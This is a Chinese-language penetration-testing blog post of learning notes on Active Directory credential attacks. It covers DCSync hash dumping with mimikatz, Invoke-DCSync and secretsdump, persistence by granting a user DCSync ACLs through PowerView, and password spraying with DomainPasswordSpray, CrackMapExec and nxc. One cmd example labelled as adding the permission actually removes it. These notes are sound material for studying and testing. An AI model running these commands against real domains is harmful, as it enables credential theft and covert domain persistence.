域渗透学习(Credentials篇)

Dumping

DCSync

Dcsync(domain Controller synchronization):在域树或者域森林中,不同的DC之间,每隔15分钟会进行一次域数据的同步。比如当一个辅助域控想从主域控获取数据时,辅助域控会利用 DRS(Directory Replication Service) 协议向主域控发起一个 IDL_DRSGetNCChanges 请求。请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程

目录复制服务(DRS) 远程协议是一种RPC 协议,用于在Active Directory中复制和管理数据
该协议由两个名为 drsuapi 和 dsaop 的 RPC 接口组成。每个 drsuapi 方法的名称以”IDL_DRS”开头,而每个 dsaop 方法的名称以”IDL_DSA”开头

DCSync 就是利用的这个原理,通过 DRS(Directory Replication Service) 服务的 GetNCChanges 接口向域控发起数据同步请求

利用条件

要进行DCSync则必须要能够运行DRS服务,通常以下用户组可以运行DRS服务

1
2
3
4
DC本地Administrators组内的用户
Domain Admins组内的用户
Enterprise Admins组内的用户
域控制器的计算机帐户

需要的acl,以上组内的成员默认有这些权限

1
2
DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

默认情况下,DCSync 攻击的对象如果是只读域控制器 (RODC),则会失效,因为 RODC 是不能参与复制同步数据到其他 DC 的

导出域内hash

mimikatz

1
2
3
4
5
6
# 导出域内所有用户的hash:
mimikatz.exe "lsadump::dcsync /domain:test.com /all /csv" exit


# 导出域内administrator帐户的hash:
mimikatz.exe "lsadump::dcsync /domain:test.com /user:administrator /csv" exit

Invoke-DCSync.ps1

1
2
3
import-Module .\Invoke-DCSync.ps1
Invoke-DCSync
Invoke-DCSync -DumpForest | ft -wrap -autosize # 导出域内所有用户的hash:

secretsdump.py

1
2
python3 secretsdump.py test/admin:www123456#@192.168.189.128  -dc-ip  192.168.189.128
python3 secretsdump.py 'test.com/admin@dc.test.com' -hashes :6dfad00b946adf3479fba71beeb5e4ac

关于445端口

  1. DCSync 协议本身不依赖 445 端口,但某些工具实现(如impacket中的secretsdump.py)会用到 445 端口
  2. 如果用 mimikatz 等工具,445 端口不是必须的,只要 RPC/LDAP 相关端口开放即可。当445 端口被禁用时,DCSync 依然可以通过 RPC 端口(135+高位端口)实现,推荐使用 Mimikatz,只要 RPC 通信不被阻断,DCSync 就能成功
  3. 有杀软的情况可以考虑使用impacket中的secretsdump

权限维持

向域内的一个普通用户添加上面提到的两条acl,该用户即可获得利用DCSync导出域内所有用户hash的权限

实现代码:Powerview Add-DomainObjectAcl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 导入
Set-ExecutionPolicy Bypass -Scope Process
import-module .\PowerView.ps1



# PowerView 查询DCSync权限
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType -match "DS-Replication-Get-Changes"}
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType -match "Replicating Directory Changes"}



# PowerView 添加DCSync权限
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose
# cmd
powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Remove-DomainObjectAcl -TargetIdentity \"DC=test,DC=com\" -PrincipalIdentity test1 -Rights DCSync -Verbose}"



# PowerView 删除DCSync权限
Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose
# cmd
powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Remove-DomainObjectAcl -TargetIdentity \"DC=test,DC=com\" -PrincipalIdentity test1 -Rights DCSync -Verbose}"

暴力破解

密码喷洒 (Password Spraying)

在常规的爆破中,我们都是先用很多密码去碰撞一个账号,这样很容易导致账号被锁定。而密码喷洒就是先用一个密码去碰撞很多账号,此方法能有效的避免账号被锁定的问题

DomainPasswordSpray 是用 PowerShell 编写的工具,用于对域用户执行密码喷洒攻击。默认情况下,它将利用 LDAP 从域中导出用户列表,然后扣掉被锁定的用户,再用固定密码进行密码喷洒

1
2
Import-Module .\DomainPasswordSpray.ps1   #导入模块
Invoke-DomainPasswordSpray -Password <密码>

参数:

1
2
3
4
5
6
7
8
Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt

UserList - 可选的 UserList 参数。如果未指定,则会自动生成。
Password - 将使用一个密码来执行密码喷洒。
PasswordList - 每行一个密码列表,用于密码喷洒(要非常小心,不要锁定帐户)。
OutFile - 输出结果的文件。
Domain - 一个可以喷洒的域。
Force - 强制继续喷涂而不提示确认。

或者可以利用kali中的CrackMapExec(CME)或者nxc来进行喷洒密码

1
2
proxychains4 -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#' -d xiaorang.lab 2>/dev/null
proxychains4 -q nxc rdp 172.22.8.0/24 -u user.txt -p pass.txt --no-bruteforce


参考文章:
dcsync


域渗透学习(Credentials篇)
https://www.dr0n.top/posts/e0ff8995/
作者
dr0n
发布于
2025年4月28日
更新于
2025年11月4日
许可协议